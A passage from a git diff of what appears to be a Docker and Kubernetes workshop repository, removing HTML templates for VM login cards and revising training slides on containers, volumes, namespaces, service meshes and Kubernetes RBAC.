If you liked that workshop, + I can train your team or organization + on Docker, container, and Kubernetes, + with curriculums of 1 to 5 days. +

+

Interested? Contact me at:

+

jerome.petazzoni@gmail.com

+

Thank you!

+
+ {% endfor %} + + {% endif %} + {% endif %} {% endfor %} diff --git a/prepare-vms/templates/enix.html b/prepare-vms/templates/enix.html deleted file mode 100644 index e84c0d7c..00000000 --- a/prepare-vms/templates/enix.html +++ /dev/null @@ -1,121 +0,0 @@ -{# Feel free to customize or override anything in there! #} -{%- set url = "http://FIXME.container.training" -%} -{%- set pagesize = 9 -%} -{%- if clustersize == 1 -%} - {%- set workshop_name = "Docker workshop" -%} - {%- set cluster_or_machine = "machine virtuelle" -%} - {%- set this_or_each = "cette" -%} - {%- set plural = "" -%} - {%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%} -{%- else -%} - {%- set workshop_name = "Kubernetes workshop" -%} - {%- set cluster_or_machine = "cluster" -%} - {%- set this_or_each = "chaque" -%} - {%- set plural = "s" -%} - {%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%} - {%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%} - {%- set image_src = image_src_kube -%} -{%- endif -%} - - - - -{% for cluster in clusters %} - {% if loop.index0>0 and loop.index0%pagesize==0 %} - - {% endif %} -
- -

- Voici les informations permettant de se connecter à votre - {{ cluster_or_machine }} pour cette formation. - Vous pouvez vous connecter à {{ this_or_each }} machine virtuelle - avec n'importe quel client SSH. -

-

- - - - - - -
identifiant:
docker
mot de passe:
{{ docker_user_password }}
- -

-

- Adresse{{ plural }} IP : - - - {% for node in cluster %} - - {% endfor %} -
node{{ loop.index }}:{{ node }}
-

-

Le support de formation est à l'adresse suivante : -

{{ url }}
-

-
-{% endfor %} - - diff --git a/prepare-vms/templates/jerome.html b/prepare-vms/templates/jerome.html deleted file mode 100644 index 9f0263b8..00000000 --- a/prepare-vms/templates/jerome.html +++ /dev/null @@ -1,134 +0,0 @@ -{# Feel free to customize or override anything in there! #} -{%- set url = "http://qconuk2019.container.training/" -%} -{%- set pagesize = 9 -%} -{%- if clustersize == 1 -%} - {%- set workshop_name = "Docker workshop" -%} - {%- set cluster_or_machine = "machine" -%} - {%- set this_or_each = "this" -%} - {%- set machine_is_or_machines_are = "machine is" -%} - {%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%} -{%- else -%} - {%- set workshop_name = "Kubernetes workshop" -%} - {%- set cluster_or_machine = "cluster" -%} - {%- set this_or_each = "each" -%} - {%- set machine_is_or_machines_are = "machines are" -%} - {%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%} - {%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%} - {%- set image_src = image_src_kube -%} -{%- endif -%} - - - - -{% for cluster in clusters %} -
- -

- Here is the connection information to your very own - {{ cluster_or_machine }} for this {{ workshop_name }}. - You can connect to {{ this_or_each }} VM with any SSH client. -

-

- - - - - - -
login:
docker
password:
{{ docker_user_password }}
- -

-

- Your {{ machine_is_or_machines_are }}: - - {% for node in cluster %} - - {% endfor %} -
node{{ loop.index }}:{{ node }}
-

-

You can find the slides at: -

{{ url }}
-

-
- {% if loop.index%pagesize==0 or loop.last %} - - {% for x in range(pagesize) %} -
-
-

You got this at the workshop - "Getting Started With Kubernetes and Container Orchestration" - during QCON London (March 2019).

-

If you liked that workshop, - I can train your team or organization - on Docker, container, and Kubernetes, - with curriculums of 1 to 5 days. -

-

Interested? Contact me at:

-

jerome.petazzoni@gmail.com

-

Thank you!

-
- {% endfor %} - - {% endif %} -{% endfor %} - - diff --git a/prepare-vms/templates/kube101.html b/prepare-vms/templates/kube101.html deleted file mode 100644 index 1a937818..00000000 --- a/prepare-vms/templates/kube101.html +++ /dev/null @@ -1,106 +0,0 @@ -{# Feel free to customize or override anything in there! #} -{%- set url = "http://container.training/" -%} -{%- set pagesize = 12 -%} -{%- if clustersize == 1 -%} - {%- set workshop_name = "Docker workshop" -%} - {%- set cluster_or_machine = "machine" -%} - {%- set this_or_each = "this" -%} - {%- set machine_is_or_machines_are = "machine is" -%} - {%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%} -{%- else -%} - {%- set workshop_name = "Kubernetes workshop" -%} - {%- set cluster_or_machine = "cluster" -%} - {%- set this_or_each = "each" -%} - {%- set machine_is_or_machines_are = "machines are" -%} - {%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%} - {%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%} - {%- set image_src = image_src_kube -%} -{%- endif -%} - - - - -{% for cluster in clusters %} - {% if loop.index0>0 and loop.index0%pagesize==0 %} - - {% endif %} -
- -

- Here is the connection information to your very own - {{ cluster_or_machine }} for this {{ workshop_name }}. - You can connect to {{ this_or_each }} VM with any SSH client. -

-

- - - - - - -
login:
docker
password:
{{ docker_user_password }}
- -

-

- Your {{ machine_is_or_machines_are }}: - - {% for node in cluster %} - - {% endfor %} -
node{{ loop.index }}:{{ node }}
-

-

You can find the slides at: -

{{ url }}
-

-
-{% endfor %} - - diff --git a/slides/Dockerfile b/slides/Dockerfile index c9390edb..491b015f 100644 --- a/slides/Dockerfile +++ b/slides/Dockerfile @@ -1,7 +1,4 @@ -FROM alpine -RUN apk update -RUN apk add entr -RUN apk add py-pip -RUN apk add git +FROM alpine:3.9 +RUN apk add --no-cache entr py-pip git COPY requirements.txt . RUN pip install -r requirements.txt diff --git a/slides/containers/Ambassadors.md b/slides/containers/Ambassadors.md index facef966..d7f1de39 100644 --- a/slides/containers/Ambassadors.md +++ b/slides/containers/Ambassadors.md @@ -150,7 +150,7 @@ Different deployments will use different underlying technologies. * Ad-hoc deployments can use a master-less discovery protocol like avahi to register and discover services. * It is also possible to do one-shot reconfiguration of the - ambassadors. It is slightly less dynamic but has much less + ambassadors. It is slightly less dynamic but has far fewer requirements. * Ambassadors can be used in addition to, or instead of, overlay networks. @@ -186,22 +186,48 @@ Different deployments will use different underlying technologies. --- -## Section summary +## Some popular service meshes -We've learned how to: +... And related projects: -* Understand the ambassador pattern and what it is used for (service portability). - -For more information about the ambassador pattern, including demos on Swarm and ECS: - -* AWS re:invent 2015 [DVO317](https://www.youtube.com/watch?v=7CZFpHUPqXw) - -* [SwarmWeek video about Swarm+Compose](https://youtube.com/watch?v=qbIvUvwa6As) - -Some services meshes and related projects: - -* [Istio](https://istio.io/) - -* [Linkerd](https://linkerd.io/) +* [Consul Connect](https://www.consul.io/docs/connect/index.html) +
+ Transparently secures service-to-service connections with mTLS. * [Gloo](https://gloo.solo.io/) +
+ API gateway that can interconnect applications on VMs, containers, and serverless. + +* [Istio](https://istio.io/) +
+ A popular service mesh. + +* [Linkerd](https://linkerd.io/) +
+ Another popular service mesh. + +--- + +## Learning more about service meshes + +A few blog posts about service meshes: + +* [Containers, microservices, and service meshes](http://jpetazzo.github.io/2019/05/17/containers-microservices-service-meshes/) +
+ Provides historical context: how did we do before service meshes were invented? + +* [Do I Need a Service Mesh?](https://www.nginx.com/blog/do-i-need-a-service-mesh/) +
+ Explains the purpose of service meshes. Illustrates some NGINX features. + +* [Do you need a service mesh?](https://www.oreilly.com/ideas/do-you-need-a-service-mesh) +
+ Includes high-level overview and definitions. + +* [What is Service Mesh and Why Do We Need It?](https://containerjournal.com/2018/12/12/what-is-service-mesh-and-why-do-we-need-it/) +
+ Includes a step-by-step demo of Linkerd. + +And a video: + +* [What is a Service Mesh, and Do I Need One When Developing Microservices?](https://www.datawire.io/envoyproxy/service-mesh/) diff --git a/slides/containers/Application_Configuration.md b/slides/containers/Application_Configuration.md index 522d4b81..e0bb2984 100644 --- a/slides/containers/Application_Configuration.md +++ b/slides/containers/Application_Configuration.md @@ -98,13 +98,13 @@ COPY prometheus.conf /etc * Allows arbitrary customization and complex configuration files. -* Requires to write a configuration file. (Obviously!) +* Requires writing a configuration file. (Obviously!) -* Requires to build an image to start the service. +* Requires building an image to start the service. -* Requires to rebuild the image to reconfigure the service. +* Requires rebuilding the image to reconfigure the service. -* Requires to rebuild the image to upgrade the service. +* Requires rebuilding the image to upgrade the service. * Configured images can be stored in registries. @@ -132,11 +132,11 @@ docker run -v appconfig:/etc/appconfig myapp * Allows arbitrary customization and complex configuration files. -* Requires to create a volume for each different configuration. +* Requires creating a volume for each different configuration. * Services with identical configurations can use the same volume. -* Doesn't require to build / rebuild an image when upgrading / reconfiguring. +* Doesn't require building / rebuilding an image when upgrading / reconfiguring. * Configuration can be generated or edited through another container. @@ -198,4 +198,4 @@ E.g.: - read the secret on stdin when the service starts, -- pass the secret using an API endpoint. \ No newline at end of file +- pass the secret using an API endpoint. diff --git a/slides/containers/Background_Containers.md b/slides/containers/Background_Containers.md index f99b2414..5d418606 100644 --- a/slides/containers/Background_Containers.md +++ b/slides/containers/Background_Containers.md @@ -257,7 +257,7 @@ $ docker kill 068 57ad The `stop` and `kill` commands can take multiple container IDs. Those containers will be terminated immediately (without -the 10 seconds delay). +the 10-second delay). Let's check that our containers don't show up anymore: diff --git a/slides/containers/Cmd_And_Entrypoint.md b/slides/containers/Cmd_And_Entrypoint.md index 5e14615e..24598acf 100644 --- a/slides/containers/Cmd_And_Entrypoint.md +++ b/slides/containers/Cmd_And_Entrypoint.md @@ -222,16 +222,16 @@ CMD ["hello world"] Let's build it: ```bash -$ docker build -t figlet . +$ docker build -t myfiglet . ... Successfully built 6e0b6a048a07 -Successfully tagged figlet:latest +Successfully tagged myfiglet:latest ``` Run it without parameters: ```bash -$ docker run figlet +$ docker run myfiglet _ _ _ _ | | | | | | | | | | | _ | | | | __ __ ,_ | | __| @@ -246,7 +246,7 @@ $ docker run figlet Now let's pass extra arguments to the image. ```bash -$ docker run figlet hola mundo +$ docker run myfiglet hola mundo _ _ | | | | | | | __ | | __, _ _ _ _ _ __| __ @@ -262,13 +262,13 @@ We overrode `CMD` but still used `ENTRYPOINT`. What if we want to run a shell in our container? -We cannot just do `docker run figlet bash` because +We cannot just do `docker run myfiglet bash` because that would just tell figlet to display the word "bash." We use the `--entrypoint` parameter: ```bash -$ docker run -it --entrypoint bash figlet +$ docker run -it --entrypoint bash myfiglet root@6027e44e2955:/# ``` diff --git a/slides/containers/Container_Engines.md b/slides/containers/Container_Engines.md index 7cc01ae3..4ab41b96 100644 --- a/slides/containers/Container_Engines.md +++ b/slides/containers/Container_Engines.md @@ -86,7 +86,7 @@ like Windows, macOS, Solaris, FreeBSD ... * No notion of image (container filesystems have to be managed manually). -* Networking has to be setup manually. +* Networking has to be set up manually. --- @@ -112,7 +112,7 @@ like Windows, macOS, Solaris, FreeBSD ... * Strong emphasis on security (through privilege separation). -* Networking has to be setup separately (e.g. through CNI plugins). +* Networking has to be set up separately (e.g. through CNI plugins). * Partial image management (pull, but no push). @@ -152,7 +152,7 @@ We're not aware of anyone using it directly (i.e. outside of Kubernetes). * Basic image support (tar archives and raw disk images). -* Network has to be setup manually. +* Network has to be set up manually. --- @@ -164,7 +164,7 @@ We're not aware of anyone using it directly (i.e. outside of Kubernetes). * Run each container in a lightweight virtual machine. -* Requires to run on bare metal *or* with nested virtualization. +* Requires running on bare metal *or* with nested virtualization. --- diff --git a/slides/containers/Container_Network_Model.md b/slides/containers/Container_Network_Model.md index dec982fe..87cf044f 100644 --- a/slides/containers/Container_Network_Model.md +++ b/slides/containers/Container_Network_Model.md @@ -474,7 +474,7 @@ When creating a network, extra options can be provided. * `--ip-range` (in CIDR notation) indicates the subnet to allocate from. -* `--aux-address` allows to specify a list of reserved addresses (which won't be allocated to containers). +* `--aux-address` allows specifying a list of reserved addresses (which won't be allocated to containers). --- @@ -528,7 +528,9 @@ Very short instructions: - `docker network create mynet --driver overlay` - `docker service create --network mynet myimage` -See https://jpetazzo.github.io/container.training for all the deets about clustering! +If you want to learn more about Swarm mode, you can check +[this video](https://www.youtube.com/watch?v=EuzoEaE6Cqs) +or [these slides](https://container.training/swarm-selfpaced.yml.html). --- @@ -554,7 +556,7 @@ General idea: * So far, we have specified which network to use when starting the container. -* The Docker Engine also allows to connect and disconnect while the container runs. +* The Docker Engine also allows connecting and disconnecting while the container is running. * This feature is exposed through the Docker API, and through two Docker CLI commands: diff --git a/slides/containers/Exercise_Composefile.md b/slides/containers/Exercise_Composefile.md new file mode 100644 index 00000000..703b21b2 --- /dev/null +++ b/slides/containers/Exercise_Composefile.md @@ -0,0 +1,5 @@ +# Exercise — writing a Compose file + +Let's write a Compose file for the wordsmith app! + +The code is at: https://github.com/jpetazzo/wordsmith diff --git a/slides/containers/Exercise_Dockerfile_Advanced.md b/slides/containers/Exercise_Dockerfile_Advanced.md new file mode 100644 index 00000000..0ca16d75 --- /dev/null +++ b/slides/containers/Exercise_Dockerfile_Advanced.md @@ -0,0 +1,9 @@ +# Exercise — writing better Dockerfiles + +Let's update our Dockerfiles to leverage multi-stage builds! + +The code is at: https://github.com/jpetazzo/wordsmith + +Use a different tag for these images, so that we can compare their sizes. + +What's the size difference between single-stage and multi-stage builds? diff --git a/slides/containers/Exercise_Dockerfile_Basic.md b/slides/containers/Exercise_Dockerfile_Basic.md new file mode 100644 index 00000000..c6cad7b4 --- /dev/null +++ b/slides/containers/Exercise_Dockerfile_Basic.md @@ -0,0 +1,5 @@ +# Exercise — writing Dockerfiles + +Let's write Dockerfiles for an existing application! + +The code is at: https://github.com/jpetazzo/wordsmith diff --git a/slides/containers/First_Containers.md b/slides/containers/First_Containers.md index aa47a764..682cc9ab 100644 --- a/slides/containers/First_Containers.md +++ b/slides/containers/First_Containers.md @@ -203,4 +203,90 @@ bash: figlet: command not found * The basic Ubuntu image was used, and `figlet` is not here. -* We will see in the next chapters how to bake a custom image with `figlet`. +--- + +## Where's my container? + +* Can we reuse that container that we took time to customize? + + *We can, but that's not the default workflow with Docker.* + +* What's the default workflow, then? + + *Always start with a fresh container.* +
+ *If we need something installed in our container, build a custom image.* + +* That seems complicated! + + *We'll see that it's actually pretty easy!* + +* And what's the point? + + *This puts a strong emphasis on automation and repeatability. Let's see why ...* + +--- + +## Pets vs. Cattle + +* In the "pets vs. cattle" metaphor, there are two kinds of servers. + +* Pets: + + * have distinctive names and unique configurations + + * when they have an outage, we do everything we can to fix them + +* Cattle: + + * have generic names (e.g. with numbers) and generic configuration + + * configuration is enforced by configuration management, golden images ... + + * when they have an outage, we can replace them immediately with a new server + +* What's the connection with Docker and containers? + +--- + +## Local development environments + +* When we use local VMs (with e.g. VirtualBox or VMware), our workflow looks like this: + + * create VM from base template (Ubuntu, CentOS...) + + * install packages, set up environment + + * work on project + + * when done, shut down VM + + * next time we need to work on project, restart VM as we left it + + * if we need to tweak the environment, we do it live + +* Over time, the VM configuration evolves, diverges. + +* We don't have a clean, reliable, deterministic way to provision that environment. + +--- + +## Local development with Docker + +* With Docker, the workflow looks like this: + + * create container image with our dev environment + + * run container with that image + + * work on project + + * when done, shut down container + + * next time we need to work on project, start a new container + + * if we need to tweak the environment, we create a new image + +* We have a clear definition of our environment, and can share it reliably with others. + +* Let's see in the next chapters how to bake a custom image with `figlet`! diff --git a/slides/containers/Initial_Images.md b/slides/containers/Initial_Images.md index 8c6a5475..0e601e57 100644 --- a/slides/containers/Initial_Images.md +++ b/slides/containers/Initial_Images.md @@ -70,8 +70,9 @@ class: pic * An image is a read-only filesystem. -* A container is an encapsulated set of processes running in a - read-write copy of that filesystem. +* A container is an encapsulated set of processes, + + running in a read-write copy of that filesystem. * To optimize container boot time, *copy-on-write* is used instead of regular copy. @@ -177,8 +178,11 @@ Let's explain each of them. ## Root namespace -The root namespace is for official images. They are put there by Docker Inc., -but they are generally authored and maintained by third parties. +The root namespace is for official images. + +They are gated by Docker Inc. + +They are generally authored and maintained by third parties. Those images include: @@ -188,7 +192,7 @@ Those images include: * Ready-to-use components and services, like redis, postgresql... -* Over 130 at this point! +* Over 150 at this point! --- diff --git a/slides/containers/Local_Development_Workflow.md b/slides/containers/Local_Development_Workflow.md index dee592ee..742f46e7 100644 --- a/slides/containers/Local_Development_Workflow.md +++ b/slides/containers/Local_Development_Workflow.md @@ -156,7 +156,7 @@ Option 3: * Use a *volume* to mount local files into the container * Make changes locally -* Changes are reflected into the container +* Changes are reflected in the container --- @@ -176,7 +176,7 @@ $ docker run -d -v $(pwd):/src -P namer * `namer` is the name of the image we will run. -* We don't specify a command to run because it is already set in the Dockerfile. +* We don't specify a command to run because it is already set in the Dockerfile via `CMD`. Note: on Windows, replace `$(pwd)` with `%cd%` (or `${pwd}` if you use PowerShell). @@ -192,7 +192,7 @@ The flag structure is: [host-path]:[container-path]:[rw|ro] ``` -* If `[host-path]` or `[container-path]` doesn't exist it is created. +* `[host-path]` and `[container-path]` are created if they don't exist. * You can control the write status of the volume with the `ro` and `rw` options. @@ -255,13 +255,13 @@ color: red; * Volumes are *not* copying or synchronizing files between the host and the container. -* Volumes are *bind mounts*: a kernel mechanism associating a path to another. +* Volumes are *bind mounts*: a kernel mechanism associating one path with another. * Bind mounts are *kind of* similar to symbolic links, but at a very different level. * Changes made on the host or on the container will be visible on the other side. - (Since under the hood, it's the same file on both anyway.) + (Under the hood, it's the same file anyway.) --- @@ -273,7 +273,7 @@ by Chad Fowler, where he explains the concept of immutable infrastructure.)* -- -* Let's mess up majorly with our container. +* Let's majorly mess up our container. (Remove files or whatever.) @@ -319,7 +319,7 @@ and *canary deployments*.
Use the `-v` flag to mount our source code inside the container. -3. Edit the source code outside the containers, using regular tools. +3. Edit the source code outside the container, using familiar tools.
(vim, emacs, textmate...) diff --git a/slides/containers/Namespaces_Cgroups.md b/slides/containers/Namespaces_Cgroups.md index 46d1ac06..09b90561 100644 --- a/slides/containers/Namespaces_Cgroups.md +++ b/slides/containers/Namespaces_Cgroups.md @@ -86,13 +86,13 @@ class: extra-details, deep-dive - the `unshare()` system call. -- The Linux tool `unshare` allows to do that from a shell. +- The Linux tool `unshare` allows doing that from a shell. - A new process can re-use none / all / some of the namespaces of its parent. - It is possible to "enter" a namespace with the `setns()` system call. -- The Linux tool `nsenter` allows to do that from a shell. +- The Linux tool `nsenter` allows doing that from a shell. --- @@ -138,11 +138,11 @@ class: extra-details, deep-dive - gethostname / sethostname -- Allows to set a custom hostname for a container. +- Allows setting a custom hostname for a container. - That's (mostly) it! -- Also allows to set the NIS domain. +- Also allows setting the NIS domain. (If you don't know what a NIS domain is, you don't have to worry about it!) @@ -392,13 +392,13 @@ class: extra-details - Processes can have their own root fs (à la chroot). -- Processes can also have "private" mounts. This allows to: +- Processes can also have "private" mounts. This allows: - - isolate `/tmp` (per user, per service...) + - isolating `/tmp` (per user, per service...) - - mask `/proc`, `/sys` (for processes that don't need them) + - masking `/proc`, `/sys` (for processes that don't need them) - - mount remote filesystems or sensitive data, + - mounting remote filesystems or sensitive data,
but make it visible only for allowed processes - Mounts can be totally private, or shared. @@ -570,7 +570,7 @@ Check `man 2 unshare` and `man pid_namespaces` if you want more details. ## User namespace -- Allows to map UID/GID; e.g.: +- Allows mapping UID/GID; e.g.: - UID 0→1999 in container C1 is mapped to UID 10000→11999 on host - UID 0→1999 in container C2 is mapped to UID 12000→13999 on host @@ -947,7 +947,7 @@ Killed (i.e., "this group of process used X seconds of CPU0 and Y seconds of CPU1".) -- Allows to set relative weights used by the scheduler. +- Allows setting relative weights used by the scheduler. --- @@ -1101,9 +1101,9 @@ See `man capabilities` for the full list and details. - Original seccomp only allows `read()`, `write()`, `exit()`, `sigreturn()`. -- The seccomp-bpf extension allows to specify custom filters with BPF rules. +- The seccomp-bpf extension allows specifying custom filters with BPF rules. -- This allows to filter by syscall, and by parameter. +- This allows filtering by syscall, and by parameter. - BPF code can perform arbitrarily complex checks, quickly, and safely. diff --git a/slides/containers/Orchestration_Overview.md b/slides/containers/Orchestration_Overview.md index 986d70a3..4f8bedf7 100644 --- a/slides/containers/Orchestration_Overview.md +++ b/slides/containers/Orchestration_Overview.md @@ -6,8 +6,6 @@ In this chapter, we will: * Present (from a high-level perspective) some orchestrators. -* Show one orchestrator (Kubernetes) in action. - --- class: pic @@ -121,7 +119,7 @@ Now, how are things for our IAAS provider? - Solution: *migrate* VMs and shutdown empty servers (e.g. combine two hypervisors with 40% load into 80%+0%, -
and shutdown the one at 0%) +
and shut down the one at 0%) --- @@ -129,7 +127,7 @@ Now, how are things for our IAAS provider? How do we implement this? -- Shutdown empty hosts (but keep some spare capacity) +- Shut down empty hosts (but keep some spare capacity) - Start hosts again when capacity gets low @@ -177,7 +175,7 @@ In practice, these goals often conflict. - 16 GB RAM, 8 cores, 1 TB disk -- Each week, your team asks: +- Each week, your team requests: - one VM with X RAM, Y CPU, Z disk diff --git a/slides/containers/Resource_Limits.md b/slides/containers/Resource_Limits.md index c74d2ebe..bb04e9de 100644 --- a/slides/containers/Resource_Limits.md +++ b/slides/containers/Resource_Limits.md @@ -72,7 +72,7 @@ - For memory usage, the mechanism is part of the *cgroup* subsystem. -- This subsystem allows to limit the memory for a process or a group of processes. +- This subsystem allows limiting the memory for a process or a group of processes. - A container engine leverages these mechanisms to limit memory for a container. diff --git a/slides/containers/Training_Environment.md b/slides/containers/Training_Environment.md index e78d064c..008f577f 100644 --- a/slides/containers/Training_Environment.md +++ b/slides/containers/Training_Environment.md @@ -45,13 +45,13 @@ individual Docker VM.* - The Docker Engine is a daemon (a service running in the background). -- This daemon manages containers, the same way that an hypervisor manages VMs. +- This daemon manages containers, the same way that a hypervisor manages VMs. - We interact with the Docker Engine by using the Docker CLI. - The Docker CLI and the Docker Engine communicate through an API. -- There are many other programs, and many client libraries, to use that API. +- There are many other programs and client libraries which use that API. --- diff --git a/slides/containers/Working_With_Volumes.md b/slides/containers/Working_With_Volumes.md index 4a33302c..bc598775 100644 --- a/slides/containers/Working_With_Volumes.md +++ b/slides/containers/Working_With_Volumes.md @@ -33,13 +33,13 @@ Docker volumes can be used to achieve many things, including: * Sharing a *single file* between the host and a container. -* Using remote storage and custom storage with "volume drivers". +* Using remote storage and custom storage with *volume drivers*. --- ## Volumes are special directories in a container -Volumes can be declared in two different ways. +Volumes can be declared in two different ways: * Within a `Dockerfile`, with a `VOLUME` instruction. @@ -163,7 +163,7 @@ Volumes are not anchored to a specific path. * Volumes are used with the `-v` option. -* When a host path does not contain a /, it is considered to be a volume name. +* When a host path does not contain a `/`, it is considered a volume name. Let's start a web server using the two previous volumes. @@ -189,7 +189,7 @@ $ curl localhost:1234 * In this example, we will run a text editor in the other container. - (But this could be a FTP server, a WebDAV server, a Git receiver...) + (But this could be an FTP server, a WebDAV server, a Git receiver...) Let's start another container using the `webapps` volume. diff --git a/slides/index.yaml b/slides/index.yaml index e7721610..3a9b8517 100644 --- a/slides/index.yaml +++ b/slides/index.yaml @@ -1,3 +1,11 @@ +- date: [2019-11-04, 2019-11-05] + country: de + city: Berlin + event: Velocity + speaker: jpetazzo + title: Deploying and scaling applications with Kubernetes + attend: https://conferences.oreilly.com/velocity/vl-eu/public/schedule/detail/79109 + - date: 2019-11-13 country: fr city: Marseille @@ -31,6 +39,7 @@ title: Kubernetes for administrators and operators speaker: jpetazzo attend: https://conferences.oreilly.com/velocity/vl-ca/public/schedule/detail/75313 + slides: https://kadm-2019-06.container.training/ - date: 2019-05-01 country: us diff --git a/slides/intro-fullday.yml b/slides/intro-fullday.yml index 98281b5b..b137fb59 100644 --- a/slides/intro-fullday.yml +++ b/slides/intro-fullday.yml @@ -30,27 +30,11 @@ chapters: - containers/Building_Images_With_Dockerfiles.md - containers/Cmd_And_Entrypoint.md - - containers/Copying_Files_During_Build.md - - | - # Exercise — writing Dockerfiles - - Let's write Dockerfiles for an existing application! - - The code is at: https://github.com/jpetazzo/wordsmith - + - containers/Exercise_Dockerfile_Basic.md - containers/Multi_Stage_Builds.md - containers/Publishing_To_Docker_Hub.md - containers/Dockerfile_Tips.md - - | - # Exercise — writing better Dockerfiles - - Let's update our Dockerfiles to leverage multi-stage builds! - - The code is at: https://github.com/jpetazzo/wordsmith - - Use a different tag for these images, so that we can compare their sizes. - - What's the size difference between single-stage and multi-stage builds? - + - containers/Exercise_Dockerfile_Advanced.md - - containers/Naming_And_Inspecting.md - containers/Labels.md - containers/Getting_Inside.md @@ -64,13 +48,7 @@ chapters: - containers/Windows_Containers.md - containers/Working_With_Volumes.md - containers/Compose_For_Dev_Stacks.md - - | - # Exercise — writing a Compose file - - Let's write a Compose file for the wordsmith app! - - The code is at: https://github.com/jpetazzo/wordsmith - + - containers/Exercise_Composefile.md - - containers/Docker_Machine.md - containers/Advanced_Dockerfiles.md - containers/Application_Configuration.md diff --git a/slides/intro-selfpaced.yml b/slides/intro-selfpaced.yml index 6020ed78..5ebc32c5 100644 --- a/slides/intro-selfpaced.yml +++ b/slides/intro-selfpaced.yml @@ -30,9 +30,11 @@ chapters: - containers/Building_Images_With_Dockerfiles.md - containers/Cmd_And_Entrypoint.md - containers/Copying_Files_During_Build.md + - containers/Exercise_Dockerfile_Basic.md - - containers/Multi_Stage_Builds.md - containers/Publishing_To_Docker_Hub.md - containers/Dockerfile_Tips.md + - containers/Exercise_Dockerfile_Advanced.md - - containers/Naming_And_Inspecting.md - containers/Labels.md - containers/Getting_Inside.md @@ -45,6 +47,7 @@ chapters: - containers/Windows_Containers.md - containers/Working_With_Volumes.md - containers/Compose_For_Dev_Stacks.md + - containers/Exercise_Composefile.md - containers/Docker_Machine.md - - containers/Advanced_Dockerfiles.md - containers/Application_Configuration.md diff --git a/slides/k8s/architecture.md b/slides/k8s/architecture.md index e3bf8c86..705548ac 100644 --- a/slides/k8s/architecture.md +++ b/slides/k8s/architecture.md @@ -356,9 +356,9 @@ We demonstrated *update* and *watch* semantics. - we create a Deployment object - - the Deployment controller notices it, creates a ReplicaSet + - the Deployment controller notices it, and creates a ReplicaSet - - the ReplicaSet controller notices it, creates a Pod + - the ReplicaSet controller notices the ReplicaSet, and creates a Pod --- diff --git a/slides/k8s/authn-authz.md b/slides/k8s/authn-authz.md index d4dd70bf..a2c0c431 100644 --- a/slides/k8s/authn-authz.md +++ b/slides/k8s/authn-authz.md @@ -22,7 +22,7 @@ - When the API server receives a request, it tries to authenticate it - (it examines headers, certificates ... anything available) + (it examines headers, certificates... anything available) - Many authentication methods are available and can be used simultaneously @@ -34,7 +34,7 @@ - the user ID - a list of groups -- The API server doesn't interpret these; it'll be the job of *authorizers* +- The API server doesn't interpret these; that'll be the job of *authorizers* --- @@ -50,7 +50,7 @@ - [HTTP basic auth](https://en.wikipedia.org/wiki/Basic_access_authentication) - (carrying user and password in a HTTP header) + (carrying user and password in an HTTP header) - Authentication proxy @@ -88,7 +88,7 @@ (i.e. they are not stored in etcd or anywhere else) -- Users can be created (and given membership to groups) independently of the API +- Users can be created (and added to groups) independently of the API - The Kubernetes API can be set up to use your custom CA to validate client certs @@ -143,19 +143,21 @@ class: extra-details (see issue [#18982](https://github.com/kubernetes/kubernetes/issues/18982)) -- As a result, we cannot easily suspend a user's access +- As a result, we don't have an easy way to terminate someone's access -- There are workarounds, but they are very inconvenient: + (if their key is compromised, or they leave the organization) - - issue short-lived certificates (e.g. 24 hours) and regenerate them often +- Option 1: re-create a new CA and re-issue everyone's certificates +
+ → Maybe OK if we only have a few users; no way otherwise - - re-create the CA and re-issue all certificates in case of compromise +- Option 2: don't use groups; grant permissions to individual users +
+ → Inconvenient if we have many users and teams; error-prone - - grant permissions to individual users, not groups -
- (and remove all permissions to a compromised user) - -- Until this is fixed, we probably want to use other methods +- Option 3: issue short-lived certificates (e.g. 24 hours) and renew them often +
+ → This can be facilitated by e.g. Vault or by the Kubernetes CSR API --- @@ -191,7 +193,7 @@ class: extra-details (the kind that you can view with `kubectl get secrets`) -- Service accounts are generally used to grant permissions to applications, services ... +- Service accounts are generally used to grant permissions to applications, services... (as opposed to humans) @@ -215,7 +217,7 @@ class: extra-details .exercise[ -- The resource name is `serviceaccount` or `sa` in short: +- The resource name is `serviceaccount` or `sa` for short: ```bash kubectl get sa ``` @@ -307,7 +309,7 @@ class: extra-details - The API "sees" us as a different user -- But neither user has any right, so we can't do nothin' +- But neither user has any rights, so we can't do nothin' - Let's change that! @@ -337,9 +339,9 @@ class: extra-details - A rule is a combination of: - - [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) like create, get, list, update, delete ... + - [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) like create, get, list, update, delete... - - resources (as in "API resource", like pods, nodes, services ...) + - resources (as in "API resource," like pods, nodes, services...) - resource names (to specify e.g. one specific pod instead of all pods) @@ -373,13 +375,13 @@ class: extra-details - We can also define API resources ClusterRole and ClusterRoleBinding -- These are a superset, allowing to: +- These are a superset, allowing us to: - specify actions on cluster-wide objects (like nodes) - operate across all namespaces -- We can create Role and RoleBinding resources within a namespaces +- We can create Role and RoleBinding resources within a namespace - ClusterRole and ClusterRoleBinding resources are global @@ -387,13 +389,13 @@ class: extra-details ## Pods and service accounts -- A pod can be associated to a service account +- A pod can be associated with a service account - - by default, it is associated to the `default` service account + - by default, it is associated with the `default` service account - - as we've seen earlier, this service account has no permission anyway + - as we saw earlier, this service account has no permissions anyway -- The associated token is exposed into the pod's filesystem +- The associated token is exposed to the pod's filesystem (in `/var/run/secrets/kubernetes.io/serviceaccount/token`) @@ -458,7 +460,7 @@ class: extra-details ] -It's important to note a couple of details in these flags ... +It's important to note a couple of details in these flags... --- @@ -491,13 +493,13 @@ It's important to note a couple of details in these flags ... - again, the command would have worked fine (no error) - - ... but our API requests would have been denied later + - ...but our API requests would have been denied later - What's about the `default:` prefix? - that's the namespace of the service account - - 